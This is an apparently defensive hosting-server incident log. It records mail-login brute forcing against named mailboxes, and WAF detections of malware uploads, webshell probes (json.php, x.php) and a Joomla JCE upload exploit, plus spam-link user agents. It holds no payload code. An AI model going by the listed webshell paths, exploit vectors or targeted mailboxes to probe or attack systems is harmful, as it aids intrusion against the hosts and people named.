# incident

plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.143
country_id: 1668284
description:
2026-07-09 15:48:17 dovecot_login authenticator failed for H=111-70-9-143.emome-ip.hinet.net ([223.223.194.187]) [111.70.9.143]:52107: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 110.137.80.44
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:141039||Sizes:272||Combined size:272||User:globalgroupoman||WPU:||Filename:ic_8e4a23eeb6.php||Scanned:/tmp//20260709-155104-ak92EN70DWC2WnKpScp88AAAAEQ-file-ZmcnGF||SC:/home/globalgroupoman/public_html/index.php||RSV:8.27||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 182.9.35.64
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/wp-content/uploads/json.php||SC:/home/idealloanzcom/public_html/wp-content||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://support.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.80.246.94
country_id: 1835841
description:
2026-07-09 15:55:49 dovecot_login authenticator failed for H=([49.124.153.40]) [220.80.246.94]:46619: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.163
country_id: 1733045
description:
2026-07-09 15:55:08 dovecot_login authenticator failed for H=(13.15.190.94.interra.ru) [49.124.152.163]:34320: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 200.10.37.243
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.abnewswire.com/pressreleases/pressure-washing-in-sayville-ny-shifts-to-tighter-riskmitigation-standards-by-bayports-1-power-washing-pros-roof-house-washing_816963.html\">pressure washing services near me</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:02:16 dovecot_login authenticator failed for H=(4CvT9lbU) [31.57.184.56]:52536: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.207.177.56
country_id: 192950
description:
2026-07-09 16:03:14 dovecot_login authenticator failed for H=(95-165-159-70.static.spd-mgts.ru) [196.207.177.56]:60234: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:03:37 dovecot_login authenticator failed for H=(Ki8czl4vmK) [31.57.184.56]:56680: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:04:05 dovecot_login authenticator failed for H=(HtoM3I6ac) [31.57.184.56]:63347: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.239.190
country_id: 1835841
description:
2026-07-09 16:04:04 dovecot_login authenticator failed for H=([222.104.95.91]) [112.164.239.190]:53310: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 31.57.184.56
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[31.57.184.56] [Authentication Database]=[mail] [Username]=[anoop.ps@ibmcglobal.com] (5/5 failures) (blocked until [Thu Jul  9 10:49:29 2026 UTC/Thu Jul  9 16:19:29 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:04:58 dovecot_login authenticator failed for H=(yG6AvbGWEY) [31.57.184.56]:55463: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-09 16:05:52 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com ([109.248.156.49]) [168.91.173.57]:53010: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:05:52 dovecot_login authenticator failed for H=(jL2CsAi8Rj) [31.57.184.56]:50495: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:07:15 dovecot_login authenticator failed for H=(Ib0Lj9Brs) [31.57.184.56]:57960: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:08:33 dovecot_login authenticator failed for H=(MxIiJrZb9) [31.57.184.56]:61239: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:08:59 dovecot_login authenticator failed for H=(tK0Zkblnd) [31.57.184.56]:52064: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.143.247.123
country_id: 1835841
description:
2026-07-09 16:09:50 dovecot_login authenticator failed for H=([154.58.35.181]) [125.143.247.123]:37654: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:10:32 dovecot_login authenticator failed for H=(De6Uw9Caa) [31.57.184.56]:54255: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:11:19 dovecot_login authenticator failed for H=(xX7ld24V) [31.57.184.56]:57179: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:12:36 dovecot_login authenticator failed for H=(Wowmnj8) [31.57.184.56]:63242: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:13:01 dovecot_login authenticator failed for H=(xfT90hqLk) [31.57.184.56]:59316: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:14:39 dovecot_login authenticator failed for H=(ulBiScs0F5) [31.57.184.56]:53965: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:15:06 dovecot_login authenticator failed for H=(UADcZU9JID) [31.57.184.56]:55407: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:15:59 dovecot_login authenticator failed for H=(BRxwmQ8dsU) [31.57.184.56]:54726: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:18:44 dovecot_login authenticator failed for H=(bkRI64pmr) [31.57.184.56]:63862: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.205.85.147
country_id: 192950
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/diy-products HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:19:11 dovecot_login authenticator failed for H=(c94UZk) [31.57.184.56]:54558: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-09 16:19:29 dovecot_login authenticator failed for H=([185.246.255.183]) [102.210.148.41]:53860: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 31.57.184.56
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[31.57.184.56] [Authentication Database]=[mail] [Username]=[anoop.ps@ibmcglobal.com] (22/5 failures) (blocked until [Thu Jul  9 11:04:38 2026 UTC/Thu Jul  9 16:34:38 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.84.240
country_id: 294640
description:
2026-07-09 16:20:50 dovecot_login authenticator failed for H=([47.215.0.179]) [2.55.84.240]:42746: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 205.250.25.62
country_id: 6251999
description:
2026-07-09 16:19:51 dovecot_login authenticator failed for H=(vipturbo.com.br) [205.250.25.62]:58912: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 39.194.1.229
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.27||T:APACHE||MV:/images/x.php||SC:/home/ddgalaxy/public_html/images/x.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 184.151.85.100
country_id: 6251999
description:
2026-07-09 16:21:44 dovecot_login authenticator failed for H=(distribution05-10gb.1560.la3.switches.zerolag.com) [184.151.85.100]:60079: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 31.57.184.56
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[31.57.184.56] [Authentication Database]=[mail] [Username]=[anoop.ps@ibmcglobal.com] (30/30 failures) (blocked until [Fri Jul 10 10:51:18 2026 UTC/Fri Jul 10 16:21:18 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:20:53 dovecot_login authenticator failed for H=(DU4D2O4) [31.57.184.56]:59342: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:22:13 dovecot_login authenticator failed for H=(8xx8zKSCr) [31.57.184.56]:59515: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.192.162
country_id: 1269750
description:
2026-07-09 16:22:34 dovecot_login authenticator failed for H=([146.190.215.195]) [152.52.192.162]:32776: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-09 16:22:43 dovecot_login authenticator failed for H=(211-23-194-216.hinet-ip.hinet.net) [74.195.53.129]:42364: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:23:06 dovecot_login authenticator failed for H=(009SNT) [31.57.184.56]:57876: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.223.32.225
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.padel5000.co/\">padel5000</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:23:59 dovecot_login authenticator failed for H=(Y3ivHCbmB) [31.57.184.56]:60868: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:25:13 dovecot_login authenticator failed for H=(9f3aFNqoU) [31.57.184.56]:50605: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:25:55 dovecot_login authenticator failed for H=(NfOLIi6) [31.57.184.56]:65122: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.87.30
country_id: 1835841
description:
2026-07-09 16:27:48 dovecot_login authenticator failed for H=(199-246-29-85.dyn.estpak.ee) [125.139.87.30]:42308: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:27:15 dovecot_login authenticator failed for H=(9iO1ef) [31.57.184.56]:56933: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:28:11 dovecot_login authenticator failed for H=(4cNAooXp) [31.57.184.56]:56714: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.1.105.105
country_id: 1269750
description:
2026-07-09 16:28:19 dovecot_login authenticator failed for H=([203.252.10.5]) [61.1.105.105]:36092: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:29:47 dovecot_login authenticator failed for H=(7upbvZJ) [31.57.184.56]:60743: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.87.142.137
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-janakpuri.html\">Janakpuri Call Girl</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.86.176.134
country_id: 1835841
description:
2026-07-09 16:30:38 dovecot_login authenticator failed for H=([111.26.95.120]) [220.86.176.134]:54686: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 170.233.29.157
country_id: 3865483
description:
2026-07-09 16:30:19 dovecot_login authenticator failed for H=([59.12.212.38]) [170.233.29.157]:42588: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.172.139.215
country_id: 1210997
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/public-address-pa-and-voice-alarm-systems HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:30:56 dovecot_login authenticator failed for H=(S5kDaCnm40) [31.57.184.56]:65348: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77469916
abuser: 135.136.51.199
country_id: 798549
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceubu8varo.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:32:12 dovecot_login authenticator failed for H=(MlUV4y8T) [31.57.184.56]:55767: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.114.40.60
country_id: 1835841
description:
2026-07-09 16:32:34 dovecot_login authenticator failed for H=([94.16.17.140]) [211.114.40.60]:54158: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:34:05 dovecot_login authenticator failed for H=(JmGqlLX2hG) [31.57.184.56]:65272: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:35:42 dovecot_login authenticator failed for H=(yfUSOy) [31.57.184.56]:62291: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:36:33 dovecot_login authenticator failed for H=(6CWnQAf1d) [31.57.184.56]:59419: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:37:00 dovecot_login authenticator failed for H=(7cGl0f) [31.57.184.56]:57221: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:38:09 dovecot_login authenticator failed for H=(rORLgjxOr) [31.57.184.56]:49808: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:39:07 dovecot_login authenticator failed for H=(0qVNFNtD) [31.57.184.56]:61953: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:40:28 dovecot_login authenticator failed for H=(e62H2Fzlt) [31.57.184.56]:60609: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.80
country_id: 2661886
description:
2026-07-09 16:41:39 dovecot_login authenticator failed for H=([107.181.161.85]) [188.126.240.80]:36656: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:40:57 dovecot_login authenticator failed for H=(3NeY2SWp) [31.57.184.56]:50958: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:42:19 dovecot_login authenticator failed for H=(781VQy) [31.57.184.56]:64303: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-09 16:42:19 dovecot_login authenticator failed for H=([220.180.107.193]) [182.95.189.66]:39156: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.163.158.161
country_id: 192950
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/serendipity-arts-festival-in-panjim-goa HTTP/1.1||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:43:10 dovecot_login authenticator failed for H=(hft8q76g) [31.57.184.56]:57567: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:44:03 dovecot_login authenticator failed for H=(jkI6O1SG) [31.57.184.56]:54411: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:45:39 dovecot_login authenticator failed for H=(prNrK2eH) [31.57.184.56]:62829: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:46:04 dovecot_login authenticator failed for H=(2jZu4wF50) [31.57.184.56]:55606: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.190.180.18
country_id: 337996
description:
2026-07-09 16:46:53 dovecot_login authenticator failed for H=(85-18-115-154.ip.mob-sol.it) [196.190.180.18]:47618: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 5.157.5.56
country_id: 453733
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.bankeela.com/lotto/350332/\">BANKEELA</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:47:20 dovecot_login authenticator failed for H=(Qzc6yxlt0h) [31.57.184.56]:65343: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:48:55 dovecot_login authenticator failed for H=(R1cbYsq) [31.57.184.56]:60378: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77469916
abuser: 135.136.51.199
country_id: 798549
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcezwgu75a3.php||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:50:07 dovecot_login authenticator failed for H=(6ANaLN) [31.57.184.56]:56851: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.56
country_id: 6252001
description:
2026-07-09 16:51:03 dovecot_login authenticator failed for H=(zS6qn83OY) [31.57.184.56]:50935: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.211.246.182
country_id: 2077456
description:
2026-07-09 16:51:19 dovecot_login authenticator failed for H=([81.23.182.16]) [157.211.246.182]:52898: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.203.166
country_id: 1733045
description:
2026-07-09 16:51:31 dovecot_login authenticator failed for H=([122.53.106.124]) [49.125.203.166]:58802: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-09 16:56:43 dovecot_login authenticator failed for H=([222.186.68.153]) [182.95.189.66]:50680: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.185.14
country_id: 1269750
description:
2026-07-09 16:56:23 dovecot_login authenticator failed for H=(117-33-61-163.wiprabroadband.in) [182.95.185.14]:54294: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.198.42
country_id: 1269750
description:
2026-07-09 16:57:03 dovecot_login authenticator failed for H=(static.ill.117.250.107.180.bsnl.co.in) [152.52.198.42]:43212: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-09 16:57:04 dovecot_login authenticator failed for H=([210.112.227.218]) [114.30.223.119]:43463: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.26
country_id: 1269750
description:
2026-07-09 16:57:25 dovecot_login authenticator failed for H=(dynamic-adsl.viettel.vn) [182.95.181.26]:44840: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:00:40 dovecot_login authenticator failed for H=(0f1PN1bo) [80.94.92.123]:58180: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:00:52 dovecot_login authenticator failed for H=(vlVEP7JD) [80.94.92.123]:59826: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-09 17:01:20 dovecot_login authenticator failed for H=([128.185.253.122]) [218.156.8.97]:43762: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:01:54 dovecot_login authenticator failed for H=(oFnEqsxYK) [80.94.92.123]:53632: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 80.94.92.123
country_id: 798549
description:
Login Blocked: IP reached maximum auth failures [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[80.94.92.123] [Authentication Database]=[mail] [Username]=[shibu@idealloanz.com.au] (5/5 failures) (blocked until [Thu Jul  9 11:46:52 2026 UTC/Thu Jul  9 17:16:52 2026 LOCAL])


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:03:04 dovecot_login authenticator failed for H=(EQqV5h) [80.94.92.123]:51429: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:04:12 dovecot_login authenticator failed for H=(EBnngK) [80.94.92.123]:65428: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.173.185.104
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.bankeela.com/lotto/349834/\">BANKEELA</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.27||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.31.71.26
country_id: 1835841
description:
2026-07-09 17:04:27 dovecot_login authenticator failed for H=([222.219.232.57]) [182.31.71.26]:45505: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:04:58 dovecot_login authenticator failed for H=(8b6f32BQjE) [80.94.92.123]:58704: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-09 17:05:00 dovecot_login authenticator failed for H=([68.225.58.8]) [131.161.184.46]:54874: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:05:20 dovecot_login authenticator failed for H=(J64rPK) [80.94.92.123]:62842: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
2026-07-09 17:06:10 dovecot_login authenticator failed for H=(optrK00kCF) [80.94.92.123]:59302: 535 Incorrect authentication data (set_id=shibu@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.94.92.123
country_id: 798549
description:
